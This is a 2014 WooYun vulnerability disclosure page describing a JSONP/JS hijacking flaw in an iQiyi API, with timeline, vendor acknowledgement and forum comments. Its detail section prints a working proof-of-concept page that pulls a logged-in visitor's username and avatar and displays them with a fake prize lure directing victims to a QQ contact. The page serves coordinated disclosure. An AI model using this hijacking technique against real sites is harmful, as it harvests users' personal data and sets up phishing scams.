当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061390

漏洞标题：js hijack抓取爱奇艺登录用户信息

相关厂商：奇艺

漏洞作者： 剑心

提交时间：2014-05-19 10:53

修复时间：2014-07-03 10:54

公开时间：2014-07-03 10:54

漏洞类型：CSRF

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-19： 细节已通知厂商并且等待厂商处理中
2014-05-19： 厂商已经确认，细节仅向厂商公开
2014-05-29： 细节向核心白帽子及相关领域专家公开
2014-06-08： 细节向普通白帽子公开
2014-06-18： 细节向实习白帽子公开
2014-07-03： 细节向公众公开

简要描述：

sobug审核人员素质根本不行。poc的意义只是在于证明这个漏洞。同样的漏洞我写过一个poc了，现在换一个url你就不认识了，那我能说什么，我只能说，那我就写一个poc给你看。

详细说明：

无心再扯淡，直接poc

<html>
<script src='http://api.t.iqiyi.com/qx_api/framework/all_in_one?data={%22requests%22:[{%22uri%22:%22/comment/get_user_simple_info%22
,%22params%22:{%22escape%22:true}}],%22publicParams%22:{%22tvid%22:186484,%22qitanid%22:1023533,%22aid%22:1023533,%22usecache%22:%22
true%22}}&qitancallback=fnsucc' >
</script>
<script>
document.write('亲爱的爱奇艺用户'+fnsucc.data['$comment$get_user_simple_info'].data.user.uname+'<br /><img src="'+fnsucc.data['$comm
ent$get_user_simple_info'].data.user.icon+'"></img><br />恭喜你的头像获得本年度最佳爱奇异啪啪奖，请你联系我们的客服（qq号 10001 ）领
取啪啪奖');
</script>
</html>

漏洞证明：

1.png

修复方案：

是不是要我每次都写这么长一段poc代码，每次都把漏洞的应用场景替你们想好，你们才确认漏洞

版权声明：转载请注明来源 剑心@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-05-19 11:01

厂商回复：

多谢xsjwt大牛的反馈,马上处理。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-19 11:04 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @xsjwt 剑心原来是你的马甲

  2. 2014-05-19 11:07 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    厂商回复：多谢xsjwt大牛的反馈,马上处理。 厂商咋知道的？

  3. 2014-05-19 11:37 | D＆G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    爆ID是什么心理。。。

  4. 2014-05-19 11:50 | 剑心 ( 实习白帽子 | Rank:37 漏洞数:9 | xsser)

    @小川 你@错了

  5. 2014-05-19 12:03 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @剑心 xsjwt原来是你的马甲

  6. 2014-05-19 15:03 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    哈哈